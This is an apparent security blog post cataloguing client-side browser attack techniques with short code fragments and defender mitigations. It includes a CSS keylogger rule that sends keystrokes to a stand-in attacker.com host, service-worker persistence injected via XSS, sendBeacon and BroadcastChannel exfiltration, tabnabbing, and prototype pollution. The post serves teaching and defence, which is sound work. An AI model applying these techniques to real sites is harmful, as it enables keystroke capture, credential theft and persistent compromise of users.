Been accumulating a list of client-side weirdness all year. Things that surprised me, techniques I found while reading specs, and browser behaviours that look benign on paper but get interesting when you think adversarially. No particular order, no particular coherence — just a dump of things worth knowing if you spend time attacking or defending browser environments.
Service Workers as persistence mechanism
Service Workers are probably the most underestimated persistence vector in client-side security. Once registered, a Service Worker survives page navigations, tab closes, and browser restarts. It intercepts all fetch requests from pages under its scope — including requests the attacker didn’t initiate.
Registration requires HTTPS (or localhost), but that’s trivially satisfied if you have XSS on a target that already uses HTTPS:
1 | // Inject this via XSS |
The SW script can:
- Intercept and log all outbound requests (credentials in POST bodies, API calls, tokens in headers)
- Serve modified responses to the page (inject scripts into every future page load from that origin)
- Maintain a communication channel back to an attacker server via periodic
fetch()from within the SW context
What makes this nasty is scope. If you can register a SW at / for target.com, it intercepts everything on target.com for that user, even after the XSS payload page is long gone. The persistence survives cookie deletion — the SW registration itself is stored separately.
Mitigation from a defender’s perspective: check Clear-Site-Data: "storage" response header on logout, and verify registered service workers in your security reviews. From the browser dev tools: Application → Service Workers.
Broadcast Channel for cross-tab exfiltration
BroadcastChannel lets pages on the same origin communicate across tabs, iframes, and windows — including service workers. If you have XSS on one tab of bank.example.com, you can broadcast a message and any other open tab on the same origin will receive it:
1 | // Injected in tab A (XSS) |
Useful when the XSS fires on a low-value page (a marketing landing page) but other tabs have the authenticated session (the banking dashboard). The channel bridges them.
window.opener — the forgotten handle
When you open a link with target="_blank" and the target page doesn’t have rel="noopener", the opened page has window.opener pointing back to the parent window. Even across origins — you can’t read the parent’s DOM (cross-origin), but you can:
1 | // From the opened page, redirect the opener |
The victim has focus on the newly opened tab. The original tab silently navigates to a phishing page. When they close the new tab, they’re looking at what appears to be a familiar site asking them to log in again.
Most modern browsers have added implicit noopener for target="_blank" links, but it still surfaces in older enterprise apps and frameworks that generate links dynamically without the attribute. Worth checking in any web app pentest.
CSS keylogger — tracking input without JS
Pure CSS input tracking. Not a new technique, but it’s been refined and it’s worth understanding properly.
The mechanism: CSS input[value^="a"] selectors apply when the input’s attribute value matches — but browsers also trigger style recalculation on input events, which means you can detect what character was typed by loading a background image for each possible value:
1 | input[value^="a"] { background-image: url('https://attacker.com/k?v=a'); } |
As the user types, the CSS rule that matches changes and the corresponding image URL is fetched. The attacker gets a sequence of requests that reveals the typed string character by character.
This requires injecting a <style> block or a <link> to an attacker-controlled CSS file. It doesn’t need <script> execution — it bypasses script-src CSP entirely. The only relevant CSP directive is style-src.
Limitation: it only works on inputs where the value reflects back into the value attribute on the DOM (which React and Vue-style frameworks sometimes don’t do). Works perfectly on server-rendered forms.
History API for soft navigation hiding
The history.pushState() API lets you change the URL displayed in the address bar without a real page load. Attackers use this to:
- Make a phishing page look like it’s at a legitimate URL while the user reads it
- Redirect users away from a page that collected credentials (change URL to the real login page after capture so the browser history looks clean)
1 | // After form submit capture: |
This is also useful for covering tracks in post-exploitation — if you’ve been navigating an internal app via JavaScript and want the user’s history to look clean.
SharedArrayBuffer and timer precision
SharedArrayBuffer was disabled in 2018 after Spectre. It came back in 2020 with Cross-Origin Isolation requirements (COOP: same-origin + COEP: require-corp).
The security concern: it allows two threads to share memory without copying. Combined with a tight loop counting iterations, you get a high-precision timer — much more precise than Date.now() or performance.now() (which browsers deliberately jitter). High-precision timers enable timing side-channel attacks: cache timing, branch prediction timing, or just precise enough measurement to distinguish different code paths.
In a CTF or research context, if you find a page that sets Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp, it’s opted into SharedArrayBuffer — and you get the precise timer back:
1 | const sab = new SharedArrayBuffer(4); |
Prototype pollution — still alive in 2025
Prototype pollution is years old as a concept but keeps appearing in new libraries. The premise: if user-supplied keys reach an object merge without proper sanitization, an attacker can set __proto__, constructor, or prototype keys to inject properties into Object.prototype. Every subsequent object lookup that fails on the instance then falls through to the prototype and finds the injected value.
1 | // Vulnerable deep merge |
Where this becomes client-side RCE: templating engines, configuration loaders, and options objects that use property lookups to control rendering or execution. If template.render(options) somewhere does if (options.allowCode), and you’ve polluted Object.prototype.allowCode = true, every call gets it.
Audit any library that does deep merge on user-controlled input. lodash.merge fixed this in 4.17.21. Check your lockfiles for older pins.
iframe sandbox escape vectors
The sandbox attribute on iframes restricts what the framed content can do. But the restrictions have carve-outs:
allow-same-origin+allow-scriptstogether completely defeat the sandbox — a script in the frame can remove the sandbox attribute from the frame itself viaparent.documentallow-popupswithoutallow-popups-to-escape-sandboxstill lets the frame open new windows — those windows inherit the sandbox
The safe pattern for untrusted content is sandbox with only the specific capabilities needed, and notably without allow-same-origin if you also need allow-scripts. Combining both is equivalent to no sandbox at all.
postMessage origin validation
window.postMessage is the standard cross-origin communication channel. The receiving end is responsible for validating where messages come from:
1 | // VULNERABLE — accepts messages from any origin |
The vulnerability shows up in SPAs that use postMessage for plugin/embed communication without checking e.origin. Any page that can frame or open the target can send arbitrary messages. If the handler does something sensitive (changes routing, makes API calls, updates state), you have a cross-origin attack surface without XSS.
Worth checking on any web app that uses iframes, OAuth popups, or embedded third-party components.
navigator.sendBeacon — the exfiltration primitive
navigator.sendBeacon(url, data) was designed for analytics: send a small payload to a server when the page is being unloaded, without blocking the navigation. From a security perspective it’s a clean exfiltration primitive:
- Works during
visibilitychangeandpagehideevents (page close, tab switch) - Not blocked by ad blockers as reliably as regular requests
- Doesn’t require CORS preflight for simple content types
- Fires even if the page has navigated away
1 | document.addEventListener('visibilitychange', () => { |
This fires the moment the user switches tabs or closes the page — the last data dump before the session ends.
A lot of this stuff is documented in the specs and MDN, but the adversarial framing makes it click differently. Browser security is a constant negotiation between capability and safety, and most of the interesting attacks live in the gaps between what a feature was designed to do and what it actually enables.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)